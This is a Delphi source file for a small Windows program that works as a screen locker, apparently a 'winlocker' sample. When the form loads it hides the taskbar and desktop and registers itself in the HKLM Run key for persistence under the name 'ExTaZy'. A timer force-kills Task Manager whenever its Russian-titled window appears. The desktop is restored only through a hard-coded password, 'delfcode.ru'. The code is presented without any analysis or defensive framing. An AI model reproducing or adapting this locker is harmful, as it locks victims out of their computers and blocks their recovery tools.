unit Unit1;

interface

uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, ExtCtrls, jpeg, Registry;

type
      TForm1 = class(TForm)
        img1: TImage;
        pnl1: TPanel;
        Button1: TButton;
        edt1: TEdit;
        lbl1: TLabel;
        tmr1: TTimer;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure tmr1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

var
      Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
      pas:string;
      hTaskBar : THandle;
begin
      hTaskbar := FindWindow('Shell_TrayWnd', Nil);
      pas:=edt1.Text;
      if pas = 'delfcode.ru' then
      ShowWindow(hTaskBar, SW_SHOWNORMAL);
      ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOWNORMAL);
      Form1.Close
end;

procedure TForm1.FormCreate(Sender: TObject);
var
hTaskBar : THandle;
reg: tregistry;
begin
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_HIDE);
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
if 7=7 then
begin
reg:=tregistry.create;
reg.rootkey:= hkey_local_machine;
reg.lazywrite:=false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('ExTaZy', application.exename);
reg.closekey;
reg.free;
end;
end;

procedure TForm1.tmr1Timer(Sender: TObject);
begin
if FindWindow(0, 'Диспетчер задач Windows') <> 0
then WinExec('taskkill /F /IM taskmgr.exe' , SW_HIDE ) ;
end;

end.